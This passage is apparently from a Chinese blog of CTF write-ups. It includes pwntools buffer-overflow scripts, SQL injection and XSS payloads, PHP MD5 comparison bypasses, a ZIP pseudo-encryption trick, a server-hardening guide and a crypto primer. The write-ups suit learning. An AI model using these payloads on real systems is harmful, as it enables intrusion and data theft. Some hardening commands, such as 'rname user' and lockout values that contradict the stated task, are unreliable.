remote("node4.buuoj.cn", 4462) else: io = process('./pwn1') offset = 0xF + 8 payload = offset * b'a' + p64(0x0040118A) io.sendline(payload) io.interactive()flag{7af2d36e-c44d-4b78-825b-bd53f7d0ba96}pwn2尝试运行下程序,发现程序给出了一个带有地址的提示,暂时不用管这个,直接输入"a"来进行测试,发现程序是存在缓冲区溢出的。直接打开IDA反编译软件,打开要分析的程序,直接使用快捷键"F5",查看程序伪代码,经过观察发现,在sprintf函数中有一个名为sub_40060D的函数,我们可以双击该函数,进入其中查看其具体实现内容根据分析结果,可以发现返回的操作是用来查看文本内容的,而查看的内容正是我们想要的flag。接着查看v5变量的容量,发现只有64个字节,而代码中没有做长度限制的处理,好直接开始编写代码。这段代码的过程相对简单,主要是找到需要填充覆盖的位置,使其溢出,然后跳转到我们想要执行的代码地址上。from pwn import * local = True if local: io = remote("node4.buuoj.cn", 29836) else: io = process("./pwn2") payload = b"a" * 72 + p64(0x40060d) io.sendline(payload) io.interactive()flag{4abacf48-1539-4a8a-a595-03cf349c6ff5}ciscn_2019_n_1main 函数里调用了 func(),func中存在经典 gets() 漏洞,这题逻辑就是输入v1,但判断v2的值是否是11.28125,既然题目判断 v2 的值,那么我们将 v2 的值覆盖成 11.28125 就行了,11.28125 = 0x41348000from pwn import * local = True if local: io = remote("node4.buuoj.cn", 56120) else: io = process("./ciscn_2019_n_1") payload = b"a" * (0x30 - 0x4) + p64(0x41348000) io.send(payload) io.interactive()flag{5914b0d1-405f-4a5c-b3ea-dc820214342d}算数题#include <stdio.h> #include <stdlib.h> #include <signal.h> #include <time.h> #include <unistd.h> void handler(int signum){ puts("Timeout"); _exit(1); } int main() { setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 2, 0); signal(SIGALRM, handler); alarm(90); unsigned seed = (unsigned)time(NULL); srand(seed); unsigned int magic; printf("Give me the magic number :)\n"); read(0, &magic, 4); if (magic != 3735928559) { printf("Bye~\n"); exit(0); } printf("Complete 1000 math questions in 90 seconds!!!\n"); for (int i = 0; i < 1000; ++i) { int a = random() % 65535; int b = random() % 65535; int c = random() % 3; int ans; switch(c) { case 0: printf("%d + %d = ?", a, b); scanf("%d", &ans); if (ans != a + b) { printf("Bye Bye~\n"); exit(0); } break; case 1: printf("%d - %d = ?", a, b); scanf("%d", &ans); if (ans != a - b) { printf("Bye Bye~\n"); exit(0); } break; case 2: printf("%d * %d = ?", a, b); scanf("%d", &ans); if (ans != a * b) { printf("Bye Bye~\n"); exit(0); } break; } } printf("Good job!\n"); system("sh"); return 0; }这题考察如何利用Pwntools进行交互式,自动答题并获取到shell。from pwn import * io = process('./pwntools') io.recvuntil('number :)\n') p = p32(0xDEADBEEF) io.send(p) io.recvline() for _ in range(1000): q = io.recvuntil('= ?').decode().replace('= ?', '') io.sendline(str(eval(q))) io.interactive()
2022年12月03日
68 阅读
0 评论
6 点赞
2022-12-03
【CTF解题】BUUCTF SQL注入篇
[第一章 web入门]SQL注入在题目中提到了SQL,那么很可能是QL存在注入,在这种情况下需要先找到注入点,也就是可以输入SQL代码的输入框或参数,网址框这里发现有个id参数,尝试修改发现到3就给我们一个提示,说可以在后面接入提示参数。根据提供的信息,可以确定存SQL注入点,然后需要尝试利用注入漏洞获取敏感信息,先猜下注入点的字段有几个,很显然到4的时候就没内容了,所有只有3个字段。?id=1' order by 3 --+接下来就是找这几个字段的回显信息在哪里显示,这样才能返回我们注入后想得到的信息结果。?id=1' union select 1,2,3 --+得到回显位置后,就可以查询了我们先看下数据库表。?id=0' union select 0,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+从注入点中成功获取到一个字段的信息。?id=0' union select 1, group_concat(column_name),3 from information_schema.columns where table_name = "fl4g" --+最后通过查询结果中的字段来获取flag信息。?id=0' union select 1,group_concat(fllllag),3 from fl4g --+n1book{union_select_is_so_cool} [极客大挑战 2019]EasySQL1尝试使用万能密码进行登录,意外地成功了,直接获取到了flag的回显信息果然标题没骗我。0' or 1=1 #flag{1db132f7-af42-4fec-b0bf-505f1e1058a4}[极客大挑战 2019]LoveSQL0' or 1=1#再次尝试使用万能密码注入时,发现出现了提示信息,说明只是账号密码错了SQL查询语句没存在错误,再试试猜字段看看有什么结果。0' order by 4#经过尝试,当查询条件中的字段值等于4时,就会出现SQL语句错误。执行一个SQL查询,查看该数据库中有多少张表。1' union select 0,group_concat(table_name),3 from information_schema.tables where table_schema=database()#可以看到这个结果中有一个名为 l0ve1ysq1 的表,非常明显就是它了。1' union select 0,group_concat(column_name),3 from information_schema.columns where table_name = "l0ve1ysq1"#最后查看下表里的内容,最终成功获取到flag。1' union select 0,group_concat(password),3 from l0ve1ysq1# flag{cce5fc31-88d9-4451-8a6d-b6bbe8197330}
2022年12月03日
53 阅读
0 评论
3 点赞
2022-11-23
【CTF解题】XSS-Labs 靶机 1 ~ 20 关 解题
第一关1.既然是xss的靶机,肯定跟xss注入有关啦,先找注入口。2.看到这里有个name的参数,我们可以试试在这上面,xss注入下试试。3.输入以下js代码,发现注入成功。<script>alert(1)</script>第二关1.在此界面按ctrl + u查看前端代码,分析下前端。<!DOCTYPE html> <head> <meta charset="utf-8"> <script> window.alert = function() // 要有弹窗才能触发里面的代码 { confirm("哎哟 不错哦!"); window.location.href="level3.php?writing=苦尽甘来"; // 成功后直接跳转第三关 } </script> <title>第2关</title> </head> <body> <h1 align=center>第2关 窒息的操作</h1> <h2 align=center>没有找到和跨站师相关的结果.</h2><center> <form action=level2.php method=GET> <!-- 通过GET请求把keyword接收的参数传给level2.php --> <input name=keyword value="跨站师"> <input type=submit name=submit value="搜索"/> </form> </center><center><img src="https://dn-coding-net-tweet.codehub.cn/photo/2019/688da926-8a0b-452a-9a2b-82ba919328fb.jpg"></center> <h3 align=center>payload的长度:9</h3></body> </html>2.可以发现 下面的代码,是成功后要执行的代码段,只要满足这个条件就成功了。3.先打开网页调试器,按F12就可以打开它,然后输入 alert(1) 这段js语句,写好了搜索一下。<!DOCTYPE html> <head> <meta charset="utf-8"> <script> window.alert = function() { confirm("哎哟 不错哦!"); window.location.href="level3.php?writing=苦尽甘来"; } </script> <title>第2关</title> </head> <body> <h1 align=center>第2关 窒息的操作</h1> <h2 align=center>没有找到和<script>alert(1)</script>相关的结果.</h2><center> <form action=level2.php method=GET> <input name=keyword value="<script>alert(1)</script>"> <!-- 看以上这一段是关键 是不是很眼熟 我们输入的语句 value="<script>alert(1)</script>"> 但他没有执行成功 因为后面多了一个 "> 我们得想办法给他去除掉 "><script>alert(1)</script> --> <input type=submit name=submit value="搜索"/> </form> </center><center><img src="https://dn-coding-net-tweet.codehub.cn/photo/2019/688da926-8a0b-452a-9a2b-82ba919328fb.jpg"></center> <h3 align=center>payload的长度:25</h3></body> </html>"><script>alert(1)</script>4.分析下 level2.php 给我们返回的内容,通过以上分析我们可以这样构建以上代码作为payload,这一关考的是绕过。5.在编辑框里输入以上这段js语句 ,再提交下。6.可以发现成功注入了。第三关1.老规矩一句简单的js弹窗问候它,再看它的返回看看有什么问题。<!DOCTYPE html> <head> <meta charset="utf-8"> <script> window.alert = function() { confirm("哎哟 不错哦!"); window.location.href="level4.php?keyword=宁静致远"; } </script> <title>第3关</title> </head> <body> <h1 align=center>第3关 这该咋办啊</h1> <h2 align=center>没有找到和<script>alert(1);</script>相关的结果.</h2><center> <form action=level3.php method=GET> <input name=keyword value='<script>alert(1);</script>'> <input type=submit name=submit value=搜索 /> </form> </center><center><img src="https://dn-coding-net-tweet.codehub.cn/photo/2019/ee7a688a-d75e-4ed7-8a79-96e62d3127e2.png" width="15%"></center> <h3 align=center>payload的长度:26</h3></body> </html>'onfocus = 'javascript:alert(1)'2.可以发现被过滤了,大于号和小于号都被过滤了,这个是时候是不是考虑换一种方式让它弹窗,实现我们的目的呢,除了利用方式还有 javascript:alert(1) 这种方式也可以弹窗。3.插入成功后需要触发,光标点下编辑框就触发了。待更新..
2022年11月23日
73 阅读
0 评论
3 点赞
2022-11-17
【CTF解题】MD5 绕过强弱类型比较
简介有些东西没有完美一说,就好比做开发的时候不严谨,和疏忽就会导致漏洞百出,在php里有两种比较,第一种是 == 双等于是弱比较,而 === 三个等于是强等于,他们之间的区别在下方有讲。类型比较区别== 先将字符串类型转化成相同,再比较。 === 先判断两种字符串的类型是否相等,再比较。var_dump("0e123456"=="0e134567"); // true var_dump(0 == "a1"); // true var_dump(0 == "1a"); // false var_dump("a" == 0); // true var_dump("1a" == 1); // trueMD5弱类型绕过弱类型比较会把0exxx当作科学计数法,不管后面的值为任何东西,0的任何次幂都为0。<?php $flag=""; $a=$_GET["a"]; $b=$_GET["b"]; if(isset($a) && isset($b)){ if(!ctype_alpha($a)){ die("a error"); } if(!is_numeric($b)){ die("b error"); } if(md5($a)==md5($b)){ echo $flag; } }else{ echo "请问,flag在哪里?"; }?>1.来做一道题看上面 if(md5($a)==md5($b)) 判断两个 md5值相等就输出flag,不是两个md5相等就行了,而是在弱比较的基础上做,以下是一些字符串md5值以0e开头QNKCDZO 240610708 s878926199a s155964671a s21587387a?a=QNKCDZO&b=2406107082.通过先将字符串类型转化成相同,再比较这样就成了,利用以上payload提交就可以拿到flag。数组绕过md5()函数计算的是一个字符串的哈希值,对于数组则返回falsepayload:?a[]=1&b[]=2MD5强类型绕过强类型比较,不仅比较值,还比较类型,0e会被当做字符串,所以不能用0e来进行但我们可以用MD值完全相同的字符来进行绕过。Select * from "admin" where password=md5($pass,true)276f722736c95d99e921722cf9ed621c # ffifdyop md5值可以利用 ffifdyop 的md5值绕过,因为在转换成字符串为"or"6乱码,Select * from ’admin’ where password='or'6乱码,相当于万能密码了。
2022年11月17日
93 阅读
0 评论
6 点赞
2022-11-15
【CTF解题】2022湖南省网络安全竞赛A卷解题
简介1.这套题是湖南省第一届职业技能大赛 网络安全竞赛 模块A样题,我只做下安全部分的题目。任务二:系统及应用加固对windows、linux服务器按要求进行相应的设置,提高服务器的安全性。 (一)Windows、linux登录安全加固:1.密码策略(windows、liunx)(1)最小密码长度不少于8个字符、密码最短使用期限30天;(2)密码策略必须同时满足大小写字母、数字、特殊字符;2.登录策略(1)用户登录服务器系统时,应该有警告标题“warning”内容为“For authorized users only”提示信息(windows);(2)设置账户锁定阈值为 6 次错误锁定账户,锁定时间为 1 分钟,复位账户锁定计数器为 1 分钟之后(windows);(3)一分钟内仅允许5次登录失败的尝试,超过5次登录帐号锁定5分钟(linux);3.用户安全管理(Windows)(1)在组策略中只允许管理员账号从网络访问本机;(2)禁止发送未加密的密码到第三方 SMB 服务器; (2)查找并删除服务器中可能存在的后门用户账户hacker。(二)数据库加固(linux)1.删除默认数据库(test); 2.改变默认MySql管理员用户为:SuperRoot; 3.使用MySql内置MD5加密函数加密用户user1的密码为(P@ssw0rd1!);4.赋予user1用户对数据库所有表只有select、insert、delete、update权限;5.对忘记mysql数据库SuperRoot管理员密码进行重置操作。系统及应用加固1.最小密码长度不少于8个字符、密码最短使用期限30天;(Windows)1.1最小密码长度不少于8个字符、密码最短使用期限30天;(Linux)vi /etc/login.defs1.2密码策略必须同时满足大小写字母、数字、特殊字符;(Windows)1.3密码策略必须同时满足大小写字母、数字、特殊字符;(Linux)vi /etc/pam.d/system-authpassword requisite pam_cracklib.so try_first_pass retry=3 type= ucredit=-1 lcredit=-1 dcredit=-1 ocredit=-1 // 参数细解 retry // 尝试次数 difok // 最小不同字符 dcredit // 数字个数 ocredit // 特殊字符个数 ucredit // 大写字母个数 lcredit // 小写字母个数 minlen // 最小长度1.4用户登录服务器系统时,应该有警告标题 "warning" 内容为 "For authorized users only" 提示信息(windows);1.5用户登录服务器系统时,应该有警告标题 "warning" 内容为 "For authorized users only" 提示信息(Linux);vi /etc/issue // 这个文件是Linux系统开机启动时在命令行界面弹出的欢迎语句文件。init 3 // 验证欢迎语1.6设置账户锁定阈值为 6 次错误锁定账户,锁定时间为 1 分钟,复位账户锁定计数器为 1 分钟之后(windows);1.7一分钟内仅允许5次登录失败的尝试,超过5次登录帐号锁定5分钟(Linux);vi /etc/pam.d/login // 编辑登录限制auth required pam_tally2.so deny=3 unlock_time=5 even_deny_root root_unlock_time=51.8在组策略中只允许管理员账号从网络访问本机。1.9禁止发送未加密的密码到第三方 SMB 服务器(windows)1.10查找并删除服务器中可能存在的后门用户账户hacker(windows)1.11删除默认数据库(test); (Linux)drop database test;1.12改变默认MySql管理员用户为:SuperRoot; (Linux)rname user 'root'@'localhost' TO 'SuperRoot'@'localhost';1.13使用MySql内置MD5加密函数加密用户user1的密码为(P@ssw0rd1!)update mysql.user set password=md5('P@ssw0rd1!') where user='user1';1.14赋予user1用户对数据库所有表只有select、insert、delete、update权限grant select, insert, delete, update on database_name.* to 'user1'@'localhost';1.15对忘记mysql数据库SuperRoot管理员密码进行重置操作vi /etc/my.cnf // 编辑配置 进入配置添加以下 skip-grant-tables // 设置跳过 service mysqld restart // 重启服务 mysql // 输入直接进 use mysql; // 选择mysql update user set password=password('208522') where user='SuperRoot'; // 设置新密码 flush privileges; // 刷新
2022年11月15日
294 阅读
0 评论
10 点赞
2022-11-14
【CTF解题】密码学中的加密算法
简介在日常生活中,很多人的账号密码、银行卡、app上登录的密码,按人的习惯都会设置成让自己好记一些的密码,如出生年月日、生日加名字、手机号、等等,公共场合的WIF也是如此,安全意识不够强就会存在弱密码。假如你的QQ密码泄露了,那么坏人会拿着你的账号和密码去登录游戏,和一些不需验证的平台,又或是假冒你的身份,给你的朋友发送诈骗的信息。有一种叫做撞库,得到你的账号和密码时,就会根据你注册过的网站,进行登录往往都会成功,一般来说人对密码的记忆总是会忘的,记那么多还不如记住一个就够了,这样密码都是一致的了那么撞库的可能性就很大了。在日常的暴力破解中,采用纯数字的密码是最容易破解的,我会结合以下的几点给大家讲解下。纯数密码纯3位数字的密码,在日常生活中很常见,如行李箱它会有密码也有锁,两个都可以打开行李箱的。是纯数字的话,那么就从 0 1 2 3 4 5 6 7 8 9 有十个数,要计算那么就是 10 的 3次方,也就等于 1000 种可能。计算1秒执行次数import datetime startTick = datetime.datetime.now() i = 0 while True: i = i + 1 endTick = datetime.datetime.now() if (endTick - startTick).seconds == 1: break print(i)在Python中运行了下代码,我的电脑跑了下理论上一秒一百四十多万左右,这个都说不定的只是大概上,这个还得看电脑性能了,可以发现破解三位数的密码都花不上1秒时间。计算时间差import time import datetime start = datetime.datetime.now() time.sleep(5) end = datetime.datetime.now() print((end - start).seconds)计算公式10 ^ 3 = 1000 次 # 因为从0到9是10个数字 密码有三位那就用 10 ^ 3 = 1000 种可能性 10 ^ 8 ÷ 1000000 ÷ 60 = 1 分钟 # 密码 ^ 位数 ÷ 1秒次数 ÷ 60 = 1分钟 10 ^ 8 ÷ 1000 ÷ 60 ÷ 60 = 27 小时 10 ^ 8 ÷ 1000 ÷ 60 ÷ 60 ÷ 24 = 1 天 10 ^ 8 ÷ 10 ÷ 60 ÷ 60 ÷ 365 = 7 年同理密码长度可以更改一下,得到了电脑1秒运算的次数,直接可以利用这个公式可以计算出,以上可以看出8位数字的纯密码破解只需要1分钟,就可以试完密码范围所有的可能性,以下这张表可以很明显的看出来。总结大小写加符号作为密码不用纯数字,可以减少暴力破解的成功率。密码最好准备几个,不要用同一个密码,避免被撞库登录。加密思想置换:按照规则替换文明信息。移位:打乱字母的排列顺序。移位和置换都是可逆操作,容易恢复信息。移位 置换应用于现代算法中。加密实现 不只是依赖以上基本思想 同时依赖很多巧妙的设计。如军事应用的加密电报 除了使用安全性很高的编码规则以外,解密还涉及到发报文双方的约定。凯撒密码 Caesar cipher由Julius Caesar发明英语:Caesar cipher明文字母: A B C D E F G H I K L M N O P Q R S T V X Y Z密文字母: D E F G H I K L M N O P Q R S T V X Y Z A B C注意: 共23个字母 而 J U W 拉丁文不用 明文: meet me after the toga party密文: PHHW PH DIWHU WKH WRJD SDUWB单表代替密码不能掩盖明文语言所有统计特性。对称加密 Symmetric encryption对称加密:使用同一密钥进行加密和解密传统密码加密私钥算法加密优势:加解密速度快,密文是紧凑,安全对称加密密钥长度从40bits到168bits著名加密算法:DES 3DES AES RC系列(RC2 RC4 RC5)IDEA CAST BlowfishDES(Data Encryption Standard)DES是一种分组加密算法 20世纪70年代 由IBM公司发明1976年11月纳为美国家标准DES密钥是固定56bit,不安全DES以块模式对64bit的密文进行操作3DES(Triple DES)密钥长度放大3倍,168位。暴力破解几乎不可能实现。安全但会增加延迟,语言视频不适用。AES (Advanced Encryption Standard)1997年被发布取代DES加密算法适用于高速网络,适合的硬件上实现使用128位 192位或256位密钥块(还能扩展32bit)3DES替代加密技术,软硬件运行效率高,可用于无限/语音视频加密RC4(Rivest Cipher 4)Rivest设计密钥长度可变流模式加密算法,面向bit操作算法基于随机置换RC4应用广泛 (https/WEP/WPA) WPA2-AES非对称加密 Asymmetric Cryptography公钥加密比私钥加密出现的晚私钥加密使用同一个密钥来加密和解密信息公钥加密使用两个密钥,一个密钥用于加密信息,另一个用来解密信息。公钥加密,私钥解密公钥加密,公钥不能解密私钥加密,私钥不能解密应用: 公钥加密,保密性 私钥加密:数字签名私钥需要安全保存(不通过网络传送)密钥公开加密速度慢,密文非紧凑可以与对称加密相结合RSA(Rivest-Shamir-Adleman)1977年由Ron Rivest、Adi Shamir和Len Adelman开发专利于2000年9月到期密钥长度在512~4096bit之间安全性基于大素数因子分解的困难性RSA比用软件实现的DES慢100倍.RSA比用硬件实现的DES慢1000倍RSA的主要功能∶加密、数字签名和密钥交换(加密散列、密钥)数字签名过程数字证书与CA简:主要用来证明这个公钥是不是你的,由CA权威机构通过数字证书去证明。MD5 Hash将一段数据(任意长度)经过一道计算,转换为一段定长的数据。不可逆性: 几乎无法通过Hash结果推导出原文,即无法通过x的Hash值推导出x。无碰撞性: 几乎没有可能找到一个y,使得y的Hash值等于x的Hash值。雪崩效应: 输入轻微变化,Hash输出值产生巨大变化 单向不可能从散列值推出原始数据。有的加密算法是可以被逆向破解而有的是破解不了的,就会有可逆和不可逆的说法,它们分为对称加密和非对称加密。不可逆加密不可逆向的最大特点就是不需要密钥,HMAC是需要的但还是不可逆常见的不可逆加密算法有 MD5、HMAC、SHA1SHA-224、SHA-256、SHA-384、SHA-512 统称SHA2加密算法SHA加密算法安全性比MD5的还要高可逆加密可逆加密算法有 DES、3DES、AES128、AES192、AES256 属于对称加密RSA、SM2、RS256 (采用SHA-256 RSA的签名)属于非对称加密Base64编码 不属于加密算法 只是一种编码MD5加密算法MD5 信息摘要算法(英语:MD5 Message-Digest Algorithm),一种被广泛使用的密码散列函数,可以产生出一个128位(16字节)的散列值(hash value),用于确保信息传输完整一致。压缩性:无论数据长度是多少,计算出来的MD5值长度相同容易计算性:由原数据容易计算出MD5值抗修改性:即便修改一个字节,计算出来的MD5值也会巨大差异抗碰撞性:知道数据和MD5值,很小概率找到相同MD5值相同的原数据package main import ( "crypto/md5" "fmt" ) func Calcmd5(cont string) string { data := []byte(cont) has := md5.Sum(data) md5str := fmt.Sprintf("%x", has) return md5str } func main() { sum := Calcmd5("go") fmt.Println(sum) }HMAC算法HMAC是密钥相关的哈希运算消息认证码(Hash-based Message Authentication Code)的缩写,由H.Krawezyk,M.Bellare,R.Canetti于1996年提出的一种基于Hash函数和密钥进行消息认证的方法,并于1997年作为RFC2104被公布,并在IPSec和其他网络协议(如SSL)中得以广泛应用,现在已经成为事实上的Internet安全标准。它可以与任何迭代散列函数捆绑使用。package main import ( "crypto/hmac" "crypto/sha512" "encoding/base64" "fmt" ) func ComputHmacSha512(message string, secret string) string { data := []byte(secret) hmacd := hmac.New(sha512.New, data) hmacd.Write([]byte(message)) return base64.StdEncoding.EncodeToString([]byte(hmacd.Sum(nil))) } func main() { ret := ComputHmacSha512("123", "dGhpcyBpcyBhIGtleQ==") fmt.Println(ret) }SHA系列安全散列算法(英语:Secure Hash Algorithm,缩写为SHA)是一个密码散列函数家族,是FIPS所认证的安全散列算法。能计算出一个数字消息所对应到的,长度固定的字符串(又称消息摘要)的算法。且若输入的消息不同,它们对应到不同字符串的机率很高。SHA-1加密算法有碰撞的可能性,虽然很小。package main import ( "crypto/sha256" "encoding/hex" "fmt" ) func GetSha256(str string) string { srcByte := []byte(str) sha256New := sha256.New() sha256Bytes := sha256New.Sum(srcByte) sha256String := hex.EncodeToString(sha256Bytes) return sha256String } func main() { ret := GetSha256("123") fmt.Println(ret) }Base64编码package main import ( "encoding/base64" "fmt" ) func Base64Encoding(str string) string { src := []byte(str) res := base64.StdEncoding.EncodeToString(src) return res } func Base64Decoding(str string) string { res, _ := base64.StdEncoding.DecodeString(str) return string(res) } func main() { src := "FanOne" res := Base64Encoding(src) fmt.Println("FanOne 编码成为:", res) ret := Base64Decoding(res) fmt.Println(res, "解码成为:", ret) }TEA加密#include <stdio.h> void encrypt(unsigned int *v, unsigned int *k) { unsigned int v0 = v[0], v1 = v[1], sum = 0; unsigned int delta = 0x9e3779b9; for (int i = 0; i < 32; i++) { sum += delta; v0 += ((v1 << 4) + k[0]) ^ (v1 + sum) ^ ((v1 >> 5) + k[1]); v1 += ((v0 << 4) + k[2]) ^ (v0 + sum) ^ ((v0 >> 5) + k[3]); } v[0] = v0; v[1] = v1; } void decrypt(unsigned int *v, unsigned int *k) { unsigned int v0 = v[0], v1 = v[1], sum = 0xC6EF3720; unsigned int delta = 0x9e3779b9; for (int i = 0; i < 32; i++) { v1 -= ((v0 << 4) + k[2]) ^ (v0 + sum) ^ ((v0 >> 5) + k[3]); v0 -= ((v1 << 4) + k[0]) ^ (v1 + sum) ^ ((v1 >> 5) + k[1]); sum -= delta; } v[0] = v0; v[1] = v1; } int main() { unsigned int v[2] = {6, 9}, k[4] = {1, 2, 3, 4}; printf("Original data: %u %u\n", v[0], v[1]); encrypt(v, k); printf("Encrypted data: %u %u\n", v[0], v[1]); decrypt(v, k); printf("Decrypted data: %u %u\n", v[0], v[1]); return 0; }
2022年11月14日
64 阅读
0 评论
4 点赞
2022-11-01
【CTF解题】ZIP压缩包伪加密
简介什么是压缩包伪密码?其实就是给一个没有设置密码的压缩包加上密码,不过这个密码不是手打的,而是通过进制修改的,其实压缩包并没有加密,只是伪造了加密的假象,打开后会提示你输入密码才能解压文件,不管怎么爆破也是没用的,因为本来就没有密码。实现步骤1.这里我创建了一个3.txt文本文档,内容写了 hey actdream!。2.这里要选择zip压缩,没有加密码直接压缩到桌面上。3.可以看到压缩包里的文件是没有密码的,现在我用Winhex打开工具可以网上下载,010Editor都是可以的。4.这两块区域都有 14 00 它是解压文件需要的pkware版本,后面接的 00 00 就是全局方式位标记,改成09 00就会提示密码了。5.只需要修改最后一组,然后保存再打开发现需要密码了,这种情况只能该会 00 00 就不需要密码了。解密import os def modify_file(path): if not os.path.exists(path): print("路径不存在") return with open(path, 'rb+') as file: data = file.read() modified_data = data.replace(b'\x14\x00\x09', b'\x14\x00\x00') if modified_data != data: file.seek(0) file.write(modified_data) file.truncate() print("文件修改成功") else: print("未找到需要修改的字节") content = input("请拖入路径:") if content.strip() != "": modify_file(content)结构区分无加密压缩源文件数据区的全局加密应当为00 00且压缩源文件目录区的全局方式位标记应当为00 00伪加密压缩源文件数据区的全局加密应当为00 00且压缩源文件目录区的全局方式位标记应当为09 00真加密压缩源文件数据区的全局加密应当为09 00且压缩源文件目录区的全局方式位标记应当为09 00视频效果{dplayer src="https://www.52tt.pro/usr/uploads/2022/11/2727767437.mp4"/}总结第一个全局方式位标记: 结果会出现不会出现zip伪加密。第二个全局方式位标记 ( 修改为09 00 只要是奇数就行 ) : 只要末位是奇数,就代表加密,反之末位是偶数代表未加密。修改zip文件头(50 4B 03 04)修改成其他数据: 结果出现压缩包损坏,导致文件无法解压。
2022年11月01日
374 阅读
0 评论
5 点赞
1
2
0:00